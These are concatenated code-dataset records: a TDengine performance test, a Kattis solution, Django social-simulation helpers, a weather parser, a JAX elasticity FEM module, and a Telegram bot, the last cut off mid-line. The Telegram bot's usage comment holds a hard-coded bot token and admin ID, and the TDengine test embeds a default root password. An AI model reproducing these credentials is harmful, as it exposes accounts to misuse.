result\n\n def genQueryJsonFile(self, query_sql):\n json_file = os.path.join(self.current_dir, f'./query.json')\n jdict = {\n \"filetype\": \"query\",\n \"cfgdir\": \"/etc/taos\",\n \"host\": self.hostname,\n \"port\": self.taosc_port,\n \"user\": \"root\",\n \"password\": \"taosdata\",\n \"confirm_parameter_prompt\": \"no\",\n \"databases\": self.database,\n \"query_times\": self.query_times,\n \"query_mode\": \"restful\",\n \"specified_table_query\": {\n \"concurrent\": self.concurrent,\n \"sqls\": [\n {\n \"sql\": query_sql,\n \"result\": \"./query_res0.txt\"\n }\n ]\n }\n }\n with open(json_file, \"w\", encoding=\"utf-8\") as f_w:\n f_w.write(json.dumps(jdict))\n\n def genInsertJsonFile(self, thread_count, table_count, row_count, batch_size):\n json_file = os.path.join(self.current_dir, f'./insert.json')\n jdict = {\n \"filetype\": \"insert\",\n \"cfgdir\": \"/etc/taos\",\n \"host\": self.hostname,\n \"rest_host\": self.hostname,\n \"port\": self.taosc_port,\n \"rest_port\": self.http_port,\n \"user\": \"root\",\n \"password\": \"taosdata\",\n \"thread_count\": thread_count,\n \"thread_count_create_tbl\": 1,\n \"result_file\": self.log_file,\n \"databases\": [{\n \"dbinfo\": {\n \"name\": self.database,\n \"drop\": \"yes\"\n },\n \"super_tables\": [{\n \"name\": \"stb\",\n \"childtable_count\": table_count,\n \"childtable_prefix\": \"stb_\",\n \"batch_create_tbl_num\": 1,\n \"insert_mode\": \"rand\",\n \"insert_iface\": \"rest\",\n \"insert_rows\": row_count,\n \"insert_interval\": 0,\n \"batch_rows\": batch_size,\n \"max_sql_len\": 1048576,\n \"timestamp_step\": 3000,\n \"start_timestamp\": \"2021-01-01 00:00:00.000\",\n \"tags_file\": \"\",\n \"partical_col_num\": 0,\n \"columns\": [{\"type\": \"INT\", \"count\": self.column_count}],\n \"tags\": [{\"type\": \"BINARY\", \"len\": 16, \"count\": self.tag_count}]\n }]\n }]\n }\n with open(json_file, \"w\", encoding=\"utf-8\") as f_w:\n f_w.write(json.dumps(jdict))\n\n def runTest(self):\n self.initLog()\n self.genInsertJsonFile(32, 100, 100000, 1)\n logger.info('result of insert_perf with 32 threads and 1 batch_size:')\n self.exec_local_cmd(f'{self.perfMonitorBin} -f insert.json')\n time.sleep(self.sleep_time)\n self.genInsertJsonFile(32, 500, 1000000, 1000)\n logger.info('result of insert_perf with 32 threads and 1000 batch_size:')\n self.exec_local_cmd(f'{self.perfMonitorBin} -f insert.json')\n time.sleep(self.sleep_time)\n\n for query_sql in self.sql_list:\n self.genQueryJsonFile(query_sql)\n self.exec_local_cmd(f'{self.taosBenchmarkBin} -f query.json > tmp.log')\n res = self.exec_local_cmd('grep -Eo \\'\\\\' tmp.log |grep -v \\'total queries\\' |awk \\'{sum+=$2}END{print \"Average=\",sum/NR,\"s\"}\\'')\n logger.info(query_sql)\n logger.info(res)\n time.sleep(self.sleep_time)\n\nif __name__ == '__main__': \n runPerf = HttpPerfCompard()\n runPerf.runTest()\n\n \n\n\n \n","repo_name":"lx1zhong/TDengine","sub_path":"tests/perftest-scripts/HttpPerfCompare.py","file_name":"HttpPerfCompare.py","file_ext":"py","file_size_in_byte":5483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15460958596","text":"from sys import stdin as s\n\nstring = s.readline()\n\nfor i in range(len(string)):\n if string[i] != '\\n':\n if string[i] == string[i+1] == 's':\n print(\"hiss\")\n break\n else:\n print(\"no hiss\")\n","repo_name":"JonRodtang/kattis-problems","sub_path":"hissingmicrophone/hissingmicrophone.py","file_name":"hissingmicrophone.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33539361751","text":"from django.utils import timezone\nfrom apps.profiles.models import Profile, Post\nfrom apps.tags.models import Tag\nfrom libs.pullBlog import pullBlog, pullBlogFilter\nfrom libs.siteEnums import Gender, Tags, Species, System\nfrom libs.auxHelpers import returnCount\nfrom random import randint, random\nimport os, re, fnmatch\nimport data_path\nfrom os.path import join\n\ndef makeProfile(speciesType):\n \"\"\"Creates and returns a new Profile object of provided speciesType.\n \n This will generate first name, last name, gender, age, and location and create\n a new Profile object. If the Profile is of species type 'abandoned' it will be\n populated with the data from a particular recovered blog from the reserves.\n \n If the Profile is of a different (active) species type it will swap positions\n with a pre-existing Profile object, be set to visible = False, given an initial\n energy value and have a Post created in honor of its birth.\n \"\"\"\n fn, ln, gn = nameGenerate()\n profile = Profile(\n fname = fn,\n lname = ln,\n gender = gn,\n age = ageGenerate(),\n location = locationGenerate(),\n species = speciesType\n )\n assignImages(profile) #contains a profile.save()\n if speciesType == Species.abandoned:\n profile.blog_id, profile.blog_url, profile.last_login = makePosts(profile)\n profile.position = profile.id\n profile.save()\n else:\n swapPosition(profile, Profile.objects.all().order_by('?')[0])\n profile.last_login = timezone.now()\n profile.visible = False\n profile.energy = System.energy\n profile.save()\n makeBirthPost(profile)\n return profile\n\ndef makeBuildAbandoned(blogNo):\n \"\"\"Function specifically for fully populating the database from all recovered blogs.\"\"\"\n blogId, url, lastUpdate, posts = pullBlogFilter(blogNo)\n if blogId:\n fn, ln, gn = nameGenerate()\n profile = Profile(\n fname = fn,\n lname = ln,\n gender = gn,\n age = ageGenerate(),\n location = locationGenerate(),\n species = Species.abandoned,\n blog_id = blogId,\n blog_url = url,\n last_login = lastUpdate\n )\n profile.position = profile.id\n assignImages(profile)\n for post in posts:\n newPost = Post(\n post_profile=profile,\n date_published=post[1],\n post_content=re.sub('<[^<]+?>', '', post[2])\n )\n newPost.save()\n return profile\n return None\n\ndef makeAnonymous():\n \"\"\"Creates and returns a new Profile object of species type visitor.\n \n The first and last names of the anonymous visitor are pre-supplied. As it\n is of an active species type it will swap positions with a pre-existing Profile\n and receive a post in honor of its birth.\n \"\"\"\n profile = Profile(\n fname = 'Anonymous',\n lname = 'Visitor',\n gender = randint(0, 1),\n age = ageGenerate(),\n location = locationGenerate(),\n species = Species.visitor,\n visible = False,\n last_login = timezone.now()\n )\n assignImages(profile) #contains a profile.save()\n swapPosition(profile, Profile.objects.all().order_by('?')[0])\n makeBirthPost(profile)\n return profile\n\ndef makeFriends(profile):\n \"\"\"Assigns a number of friends to supplied Profile object. Returns nothing.\"\"\"\n minFriends = System.minFriends\n maxFriends = System.maxFriends\n manyFriends = randint(minFriends, maxFriends)\n if profile.friends.count() < manyFriends:\n newfriends = Profile.objects.exclude(id=profile.id).filter(species=Species.abandoned).order_by('?')[:manyFriends]\n for friend in newfriends:\n if profile.friends.count() > manyFriends:\n break\n if friend.friends.count() < manyFriends:\n profile.friends.add(friend)\n profile.save()\n\ndef makePosts(profile):\n \"\"\"Creates Post objects from posts of a recovered blog from source data.\n \n Returns a blog id, url, and last updated. Requires Profile to assign created Posts.\n \"\"\"\n blogId, url, lastUpdate, posts = pullBlog(None)\n for post in posts:\n newPost = Post(\n post_profile=profile,\n date_published=post[1],\n post_content=re.sub('<[^<]+?>', '', post[2])\n )\n newPost.save()\n return blogId, url, lastUpdate\n\ndef makeUserPost(request, content, tagname):\n \"\"\"Creates and returns a new Post object for the session profile.\n \n Takes as input request object, post content, and a tag id\n \"\"\"\n profile = Profile.objects.get(id=request.session['session_id'])\n newPost = makeTaggedPost(profile, content, tagname)\n newPost.just_posted = True\n newPost.save()\n return newPost\n\ndef makeTaggedPost(profile, content, tagname):\n \"\"\"Creates and returns a new Post object assigned to supplied Profile.\n \n Takes as input a Profile object, a content string, and an id for a Tag object.\n \"\"\"\n newPost = Post(\n post_content=content,\n post_profile=profile,\n date_published=timezone.now()\n )\n newPost.save()\n newPost.tags.add(Tag.objects.filter(name=tagname)[0])\n newPost.save()\n return newPost\n\ndef makeBirthPost(profile):\n \"\"\"Creates a Post announcing the birth of a Profile into the wilderness. Returns nothing.\"\"\"\n postOut = profile.fullName + ' entered the openspace wilderness.'\n makeTaggedPost(profile, postOut, 'birth')\n\ndef makeDeathPost(profile):\n \"\"\"Creates a Post announcing the death of a Profile in the wilderness. Returns nothing.\"\"\"\n postOut = profile.fullName + ' died of starvation'\n makeTaggedPost(profile, postOut, 'death')\n\ndef eatPrey(predator, prey):\n \"\"\"Predator type Profile consumes the energy of a Prey type Profile. Returns True if success.\n \n The prey's energy is added to the predators. The prey will die\n and Posts are created for both predator and prey.\n \"\"\"\n if predator.isFull:\n predator.energy += 2\n predator.save()\n return False\n newEnergy = prey.energy\n predator.energy += newEnergy\n predator.meals += 1\n predator.save()\n prey.die()\n postOut = 'eaten by ' + predator.fullName\n makeTaggedPost(prey, postOut, 'predation')\n postOut = 'gained ' + str(newEnergy) + 'from eating ' + prey.fullName\n makeTaggedPost(predator, postOut, 'predation')\n return True\n\ndef grazePost(forager, post):\n \"\"\"Forager type Profile consumes a portion of the content\n from a selected Post object for energy. Returns True if success.\n \n A bite size is calculated based on modifiers referencing current forager\n type population and a bite is taken from the supplied Post object.\n This bite is added to the forager's profile in the form of a grazePost and the\n grazed section on the target post is replaced with chompChars.\n Energy is equivalent to bite size. \n \"\"\"\n if forager.isFull:\n forager.energy += 2\n forager.save()\n return False\n chompChar = ' / '\n start = randint(1, len(post.post_content) - 1)\n if len(post.post_content) < 2:\n return False\n bitesize = randint(System.minBite, System.maxBite) \n end = randint(start, start+bitesize)\n if end > len(post.post_content):\n end = len(post.post_content)\n if end <= start:\n return False\n bite = post.post_content[start:end]\n bite = bite.replace(chompChar, '')\n if len(bite) > 0:\n grazePost = makeTaggedPost(forager, bite, 'grazing')\n modifier = 0\n foragerCount = Profile.objects.filter(species=Species.forager).count()\n if foragerCount < len(bite):\n modifier = (float(foragerCount) / len(bite)) * 100 #percentage\n nutrients = len(bite) - modifier\n forager.energy += nutrients \n forager.meals += 1\n forager.save()\n post.post_content = (post.post_content[0:start] +\n (chompChar * (end-start)) + post.post_content[end+1:])\n post.save()\n return True\n return False\n\ndef splitTextFile(textFile):\n \"\"\"Returns a list of strings from a file split at 'newline'.\"\"\"\n inFile = open(textFile, 'r')\n fileLines = inFile.read().split(\"\\n\")\n inFile.close()\n return fileLines\n\ndef nameGenerate():\n \"\"\"Returns a first name, last name, and a gender from data source.\"\"\"\n femaleNames = splitTextFile(os.path.join(data_path.DATA_PATH,'femaleNames.txt'))\n maleNames = splitTextFile(os.path.join(data_path.DATA_PATH,'maleNames.txt'))\n lastNames = splitTextFile(os.path.join(data_path.DATA_PATH,'lastNames.txt'))\n gender = randint(Gender.female, Gender.male) \n if gender == Gender.male:\n firstName = firstNameGenerate(maleNames, gender)\n while firstName == '':\n firstName = firstNameGenerate(maleNames, gender)\n else:\n firstName = firstNameGenerate(femaleNames, gender)\n while firstName == '':\n firstName = firstNameGenerate(maleNames, gender)\n return firstName, retrieveName(lastNames), gender\n\ndef retrievePopularName(gender):\n \"\"\"Returns a gendered (male or female) name from 'popularNames.txt.'\"\"\"\n names = splitTextFile(os.path.join(data_path.DATA_PATH,'popularNames.txt'))\n x = randint(0, len(names)-1)\n while x % 2 == gender:\n x = randint(0, len(names)-1)\n return names[x]\n\ndef retrieveName(names):\n \"\"\"Returns a random name from a list of names.\"\"\"\n return names[randint(0, len(names)-1)]\n\ndef firstNameGenerate(names, gender):\n \"\"\"Returns a name. Has a 1 in 4 chance of being a popular name.\"\"\"\n if randint(0,3) < 3:\n return retrievePopularName(gender)\n return retrieveName(names)\n\ndef locationGenerate():\n \"\"\"Returns a random US city, state location from 'cities.txt'.\"\"\"\n infile = open(os.path.join(data_path.DATA_PATH,'cities.txt'), 'r')\n data = infile.read()\n infile.close()\n cities = data.split('\\n')\n return cities[randint(1, len(cities)-1)]\n\ndef ageGenerate():\n \"\"\"Returns a random age based on a bias.\"\"\"\n #TRUE AGE SPREAD [25, 35, 45, 18, 55, 11, 65]\n #TRUE AGE BIASES [0.26, 0.25, 0.19, 0.16, 0.06, 0.05, 0.02]\n ages = [11, 18, 25, 35, 45, 55, 65, 90]\n bias = [0.05, 0.25, 0.26, 0.16, 0.19, 0.06, 0.02]\n sel = ageBias(bias)\n age = randint(ages[sel], ages[sel+1])\n return age\n\ndef ageBias(weights):\n \"\"\"Return bias for ageGenerate().\"\"\"\n rnd = random() * sum(weights)\n for i, w in enumerate(weights):\n rnd -= w\n if rnd < 0:\n return i\n\ndef swapPosition(profileA, profileB):\n \"\"\"Swaps the position of two supplied Profile objects. Returns nothing.\"\"\"\n profileA.position, profileB.position = profileB.position, profileA.id\n profileA.save()\n profileB.save()\n\ndef assignImages(profile):\n \"\"\"Selects and assigns a random image number to Profile object based on species type.\"\"\"\n imgCount = returnCount(profile.speciesReadable)\n profile.img_number = randint(1, imgCount/2)\n profile.save()","repo_name":"nerdyLawman/openspace-wilderness","sub_path":"openspace/libs/profileHelpers.py","file_name":"profileHelpers.py","file_ext":"py","file_size_in_byte":11076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19560063978","text":"# A little python script that pulls clientraw.txt from a server and parses it.\n# It copies the clientraw.txt locally, then pulls the needed into for temp\n# and baro. It will then pull the previously recorded temp/baro and compare\n# them to current values, providing a way to show if the values are rising,\n# falling, or staying the same. The script should be ran in longer intervals\n# (10 minutes or so) to provide a proper indication. The script can easily\n# be split into two smaller scripts for a taskbar, etc.\n# Can also add functionality for anything recorded in clientraw fairly easily.\n# This was my second python project, mirroring a bash script I use for my\n# status bar on my desktop machine. Enjoy!\n\nimport requests\nimport decimal\nimport os.path\n\nfrom config import address\n\ndecimal.getcontext().rounding = decimal.ROUND_DOWN\n\n# Pull the clientraw.txt from the server and save it as .cr.txt.\nclientraw = requests.get(address)\n\nf = open('.cr.txt', 'wb')\nf.write(clientraw.content)\nf.close()\n\n# Pull the variables for current temperature and baro from .cr.txt.\nf = open('.cr.txt')\nfor line in f:\n fields = line.strip().split()\n # Array indices start at 0 unlike AWK\n temp = float(fields[4])\n bar = float(fields[6])\nf.close()\n\n# Do the math to make them merica.\ntempf = str(temp * 1.8 + 32)\nbarf = str(bar * 0.029529980164712)\n\n# Round temp decimals to 2 places.\ntempr = decimal.Decimal(tempf)\ntemprd = round(tempr,2)\n\n# Round baro decimals to 4 places.\nbarr = decimal.Decimal(barf)\nbarrd = round(barr,4)\n\n# Check if the .crt and .crb files exist, if not, write them.\nif os.path.isfile('.crt.txt'):\n exists = '1'\nelse:\n f = open('.crt.txt', 'w')\n f.write(\"0\")\nf.close()\n\nif os.path.isfile('.crb.txt'):\n exists = '1'\nelse:\n f = open('.crb.txt', 'w')\n f.write(\"0\")\nf.close()\n\n# Open .cft.txt to pull last known temp.\nf = open('.crt.txt')\nfor line in f:\n fields = line.strip().split()\n # Array indices start at 0 unlike AWK\n ontemp = str(fields[0])\nf.close()\n\n# Some if statements for equal to, less than, greater than\n# the previously recorded temperature.\nif ontemp == (str(temprd)):\n print (str(temprd) + \" =\")\nelif ontemp > (str(temprd)):\n print (str(temprd) + \" -\")\nelif ontemp < (str(temprd)):\n print (str(temprd) + \" +\")\nelse:\n print (\"We have a problem!\")\n\n# Open .cfb.txt to pull last known baro.\nf = open('.crb.txt')\nfor line in f:\n fields = line.strip().split()\n # Array indices start at 0 unlike AWK\n onbar = str(fields[0])\nf.close()\n\n# Some if statements for equal to, less than, greater than\n# the previously recorded baro.\nif onbar == (str(barrd)):\n print (str(barrd) + \" =\")\nelif onbar > (str(barrd)):\n print (str(barrd) + \" -\")\nelif onbar < (str(barrd)):\n print (str(barrd) + \" +\")\nelse:\n print (\"We have a problem!\")\n\n# Write current temp to text file for next run.\nwith open('.crt.txt', 'w') as f:\n f.write(str(temprd))\nf.close()\n\n# Write current baro to text file for next run.\nwith open('.crb.txt', 'w') as f:\n f.write(str(barrd))\nf.close()\n","repo_name":"daneenjah/Weather","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70804738007","text":"import re\nfrom decline import decline\n\ndef get_results(user_answers, true_answers): # returns the array of scores\n #### appending zeros to our array in out-of-time case\n if(len(user_answers) < len(true_answers)):\n print('ooops something went wrong')\n while len(user_answers) < len(true_answers):\n user_answers.append('NA')\n else:\n Length = len(user_answers)\n return [int(user_answers[i] == true_answers[i]) for i in range(Length)]\n\ndef str_for_DB(array):\n string = ''\n for el in array:\n string += str(el) + ' '\n return string.strip(' ')\n\ndef to_string(results):\n string = ''\n for i in range(12):\n if i < 9:\n string += str(i + 1) + ' ..... ' + str(results[i]) + '\\n'\n else:\n string += str(i + 1) + ' .... ' + str(results[i]) + '\\n'\n return string\n\ndef string_to_int(results):\n if results == '':\n return []\n else:\n results_array = results.split(' ')\n return [int(s) for s in results_array]\n\n### makes a perfect string to be printed straight into telegram\n\ndef print_results(results):\n return \"Вы сдали тест. Ваши баллы: \\n\\n\" + \"\" + to_string(results) + '' + '\\nИтого: ' + decline(sum(results), 'балл') + ' из 12'\n\n","repo_name":"iabrmv/egeBot","sub_path":"print_results.py","file_name":"print_results.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19776926322","text":"import numpy as onp\nimport jax\nimport jax.numpy as np\n\nfrom jax_am.fem.core import FEM\n\n\nclass Elasticity(FEM):\n def custom_init(self, case_flag):\n self.cell_centroids = onp.mean(onp.take(self.points, self.cells, axis=0), axis=1)\n self.flex_inds = np.arange(len(self.cells))\n self.case_flag = case_flag\n if case_flag == 'freecad':\n self.get_tensor_map = self.get_tensor_map_freecad\n elif case_flag == 'box':\n self.get_tensor_map = self.get_tensor_map_box\n elif case_flag == 'multi_material':\n self.get_tensor_map = self.get_tensor_map_multi_material\n elif case_flag == 'plate' or case_flag == 'L_shape' or case_flag == 'eigen':\n self.get_tensor_map = self.get_tensor_map_plane_stress\n if case_flag == 'eigen':\n self.penal = 5.\n else:\n self.penal = 3.\n else:\n raise ValueError(f\"Unknown case_flag = {case_flag}\")\n\n def get_tensor_map_plane_stress(self):\n def stress(u_grad, theta):\n # Reference: https://engcourses-uofa.ca/books/introduction-to-solid-mechanics/\n # constitutive-laws/linear-elastic-materials/plane-isotropic-linear-elastic-materials-constitutive-laws/\n Emax = 70.e9\n Emin = 1e-3*Emax\n nu = 0.3\n\n penal = self.penal\n\n E = Emin + (Emax - Emin)*theta[0]**penal\n epsilon = 0.5*(u_grad + u_grad.T)\n\n eps11 = epsilon[0, 0]\n eps22 = epsilon[1, 1]\n eps12 = epsilon[0, 1]\n\n sig11 = E/(1 + nu)/(1 - nu)*(eps11 + nu*eps22) \n sig22 = E/(1 + nu)/(1 - nu)*(nu*eps11 + eps22)\n sig12 = E/(1 + nu)*eps12\n\n sigma = np.array([[sig11, sig12], [sig12, sig22]])\n return sigma\n return stress\n\n def get_tensor_map_freecad(self):\n # Unit is not in SI, used for freecad example\n def stress(u_grad, theta):\n Emax = 70.e3\n Emin = 70.\n nu = 0.3\n penal = 3.\n E = Emin + (Emax - Emin)*theta[0]**penal\n mu = E/(2.*(1. + nu))\n lmbda = E*nu/((1+nu)*(1-2*nu))\n epsilon = 0.5*(u_grad + u_grad.T)\n sigma = lmbda*np.trace(epsilon)*np.eye(self.dim) + 2*mu*epsilon\n return sigma\n return stress\n\n def get_tensor_map_box(self):\n def stress(u_grad, theta):\n Emax = 70.e9\n Emin = 70.\n nu = 0.3\n penal = 3.\n E = Emin + (Emax - Emin)*theta[0]**penal\n mu = E/(2.*(1. + nu))\n lmbda = E*nu/((1+nu)*(1-2*nu))\n epsilon = 0.5*(u_grad + u_grad.T)\n sigma = lmbda*np.trace(epsilon)*np.eye(self.dim) + 2*mu*epsilon\n return sigma\n return stress\n\n def get_tensor_map_multi_material(self):\n def stress(u_grad, theta):\n Emax = 70.e3\n Emin = 70.\n nu = 0.3\n penal = 3.\n\n E1 = Emax\n E2 = 0.2*Emax\n\n theta1, theta2 = theta\n E = Emin + theta1**penal*(theta2**penal*E1 + (1 - theta2**penal)*E2)\n\n mu = E/(2.*(1. + nu))\n lmbda = E*nu/((1+nu)*(1-2*nu))\n epsilon = 0.5*(u_grad + u_grad.T)\n sigma = lmbda*np.trace(epsilon)*np.eye(self.dim) + 2*mu*epsilon\n return sigma\n return stress \n\n def set_params(self, params):\n full_params = np.ones((self.num_cells, params.shape[1]))\n full_params = full_params.at[self.flex_inds].set(params)\n thetas = np.repeat(full_params[:, None, :], self.num_quads, axis=1)\n self.full_params = full_params\n self.internal_vars['laplace'] = [thetas]\n\n def compute_compliance(self, neumann_fn, sol):\n boundary_inds = self.neumann_boundary_inds_list[0]\n _, nanson_scale = self.get_face_shape_grads(boundary_inds)\n # (num_selected_faces, 1, num_nodes, vec) * # (num_selected_faces, num_face_quads, num_nodes, 1) \n u_face = sol[self.cells][boundary_inds[:, 0]][:, None, :, :] * self.face_shape_vals[boundary_inds[:, 1]][:, :, :, None]\n u_face = np.sum(u_face, axis=2) # (num_selected_faces, num_face_quads, vec)\n # (num_cells, num_faces, num_face_quads, dim) -> (num_selected_faces, num_face_quads, dim)\n subset_quad_points = self.get_physical_surface_quad_points(boundary_inds)\n traction = jax.vmap(jax.vmap(neumann_fn))(subset_quad_points) # (num_selected_faces, num_face_quads, vec)\n val = np.sum(traction * u_face * nanson_scale[:, :, None])\n return val\n\n def get_von_mises_stress_fn(self):\n def stress_fn(u_grad, theta):\n Emax = 70.e9\n nu = 0.3\n penal = 0.5\n E = theta[0]**penal*Emax\n mu = E/(2.*(1. + nu))\n lmbda = E*nu/((1+nu)*(1-2*nu))\n epsilon = 0.5*(u_grad + u_grad.T)\n sigma = lmbda*np.trace(epsilon)*np.eye(self.dim) + 2*mu*epsilon\n return sigma\n\n def vm_stress_fn_helper(sigma):\n dim = 3\n s_dev = sigma - 1./dim*np.trace(sigma)*np.eye(dim)\n vm_s = np.sqrt(3./2.*np.sum(s_dev*s_dev))\n return vm_s\n\n if self.case_flag == 'plate' or self.case_flag == 'L_shape':\n def vm_stress_fn(u_grad, theta):\n sigma2d = stress_fn(u_grad, theta)\n sigma3d = np.array([[sigma2d[0, 0], sigma2d[0, 1], 0.], [sigma2d[1, 0], sigma2d[1, 1], 0.], [0., 0., 0.]])\n return vm_stress_fn_helper(sigma3d)\n else:\n def vm_stress_fn(u_grad, theta):\n sigma = self.get_tensor_map()(u_grad, theta) \n return vm_stress_fn_helper(sigma)\n\n return vm_stress_fn\n\n def compute_von_mises_stress(self, sol):\n \"\"\"TODO: Move this to jax-am library?\n \"\"\"\n # (num_cells, 1, num_nodes, vec, 1) * (num_cells, num_quads, num_nodes, 1, dim) -> (num_cells, num_quads, num_nodes, vec, dim) \n u_grads = np.take(sol, self.cells, axis=0)[:, None, :, :, None] * self.shape_grads[:, :, :, None, :] \n u_grads = np.sum(u_grads, axis=2) # (num_cells, num_quads, vec, dim) \n vm_stress_fn = self.get_von_mises_stress_fn()\n vm_stress = jax.vmap(jax.vmap(vm_stress_fn))(u_grads, *self.internal_vars['laplace']) # (num_cells, num_quads)\n volume_avg_vm_stress = np.sum(vm_stress * self.JxW, axis=1) / np.sum(self.JxW, axis=1) # (num_cells,)\n return volume_avg_vm_stress\n","repo_name":"tianjuxue/jax-am","sub_path":"applications/fem/top_opt/fem_model.py","file_name":"fem_model.py","file_ext":"py","file_size_in_byte":6518,"program_lang":"python","lang":"en","doc_type":"code","stars":177,"dataset":"github-code","pt":"31"} +{"seq_id":"29899447510","text":"# USAGE:\n\n# from telegram_bot.telegram_bot import MyBot\n# # # https://t.me/TestDuckHuntAssistBot\n# telegram_bot_token = \"5511483842:AAH1UxdJSoOxJqs_4WwffgKaSgb9ptgriRs\"\n# bot = MyBot(token=telegram_bot_token, default_deposit=15)\n# bot.send_to_me(msg=\"BOT STARTED!!!!\")\n\nfrom telegram.ext import Updater, Filters\nfrom telegram.ext import CommandHandler, MessageHandler\nimport telegram\nimport re\n\nfrom telegram_bot.user_manager import UserManager\n\nclass MyBot:\n \"\"\"\"\"\"\n my_id = \"681851428\" # User ID of bot's Administrator Account\n\n def __init__(self, token, farms, default_deposit=15):\n self.bot = telegram.Bot(token=token)\n self.farms = farms\n self.user_manager = UserManager(default_deposit=default_deposit)\n self.updater = Updater(token=token, use_context=True)\n self.dispatcher = self.updater.dispatcher\n self.initialize()\n \n def initialize(self):\n\n start_handler = CommandHandler('start', self.start)\n self.dispatcher.add_handler(start_handler)\n\n # depo_handler = CommandHandler('depo', self.depo)\n # self.dispatcher.add_handler(depo_handler)\n\n help_handler = CommandHandler('help', self.help)\n self.dispatcher.add_handler(help_handler)\n\n # rset_handler = CommandHandler('rset', self.rset)\n # self.dispatcher.add_handler(rset_handler)\n\n # refill_handler = CommandHandler('refill', self.refill)\n # self.dispatcher.add_handler(refill_handler)\n\n # request_deposit_handler = CommandHandler('requestdepo', self.requestdepo)\n # self.dispatcher.add_handler(request_deposit_handler)\n\n allfarms_handler = CommandHandler('allfarms', self.allfarms)\n self.dispatcher.add_handler(allfarms_handler)\n\n turtle_handler = CommandHandler('turtle', self.turtle)\n self.dispatcher.add_handler(turtle_handler)\n\n duxplorer_handler = CommandHandler('duxplorer', self.duxplorer)\n self.dispatcher.add_handler(duxplorer_handler)\n\n math_handler = CommandHandler('mathematical', self.math)\n self.dispatcher.add_handler(math_handler)\n\n eggseggs_handler = CommandHandler('eggseggs', self.eggseggs)\n self.dispatcher.add_handler(eggseggs_handler)\n\n latam_handler = CommandHandler('latam', self.latam)\n self.dispatcher.add_handler(latam_handler)\n\n fomo_handler = CommandHandler('fomo', self.fomo)\n self.dispatcher.add_handler(fomo_handler)\n\n mundo_handler = CommandHandler('mundo', self.mundo)\n self.dispatcher.add_handler(mundo_handler)\n\n eggpoint_handler = CommandHandler('eggpoint', self.eggpoint)\n self.dispatcher.add_handler(eggpoint_handler)\n\n endoworld_handler = CommandHandler('endoworld', self.endoworld)\n self.dispatcher.add_handler(endoworld_handler)\n\n marvinfavis_handler = CommandHandler('marvinfavis', self.marvinfavis)\n self.dispatcher.add_handler(marvinfavis_handler)\n\n eggmoon_handler = CommandHandler('eggmoon', self.eggmoon)\n self.dispatcher.add_handler(eggmoon_handler)\n\n duckstreet_handler = CommandHandler('duckstreet', self.duckstreet)\n self.dispatcher.add_handler(duckstreet_handler)\n\n kolkhoz_handler = CommandHandler('kolkhoz', self.kolkhoz)\n self.dispatcher.add_handler(kolkhoz_handler)\n\n forklog_handler = CommandHandler('forklog', self.forklog)\n self.dispatcher.add_handler(forklog_handler)\n\n cgu_handler = CommandHandler('cgu', self.cgu)\n self.dispatcher.add_handler(cgu_handler)\n\n insiders_handler = CommandHandler('insiders', self.insiders)\n self.dispatcher.add_handler(insiders_handler)\n\n\n broadcast_handler = CommandHandler('broadcast', self.broadcast)\n self.dispatcher.add_handler(broadcast_handler)\n\n send_to_handler = CommandHandler('sendto', self.sendto)\n self.dispatcher.add_handler(send_to_handler)\n\n text_handler = MessageHandler(filters=Filters.text, callback=self.txt_handler)\n self.dispatcher.add_handler(text_handler)\n\n self.updater.start_polling()\n\n# check if user id exists in storage\n def check_id(self, user_id):\n return True\n return self.user_manager.user_exists(user_id=user_id)\n\n def send_to_all(self, msg):\n for el in self.user_manager.users:\n self.bot.send_message(chat_id=el, text=msg)\n\n def send_to_subscribed(self, msg):\n for el in self.user_manager.get_subscribed_users_ids:\n self.bot.send_message(chat_id=el, text=msg)\n\n def send_by_id(self, id, msg):\n allow = self.check_id(id)\n if allow:\n self.bot.send_message(chat_id=id, text=msg, parse_mode = \"Markdown\")\n else:\n self.bot.send_message(chat_id=id, text=\"Hello World\")\n\n def send_to_me(self, msg):\n self.send_by_id(self.my_id, msg)\n\n ########### SPECIAL METHODS ###############\n\n def allfarms(self, update, context):\n name = update.message.chat.username\n user_id = update.message.chat.id\n msg = \"\"\n for f in self.farms.values():\n msg += str(f) + \"\\n\"\n msg += \"-------------\\n\"\n self.send_by_id(id=user_id, msg=msg)\n\n def turtle(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"turtle\"])\n self.send_by_id(id=user_id, msg=msg)\n \n def duxplorer(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"duxplorer\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def math(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"mathematical\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def eggseggs(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"eggseggs\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def latam(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"latam\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def fomo(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"fomo\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def mundo(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"mundo\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def eggpoint(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"eggpoint\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def endoworld(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"endoworld\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def marvinfavis(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"marvinfavis\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def eggmoon(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"eggmoon\"])\n self.send_by_id(id=user_id, msg=msg)\n\n def duckstreet(self, update, context):\n user_id = update.message.chat.id\n msg = str(self.farms[\"duckstreet\"])\n self.send_by_id(id=user_id, 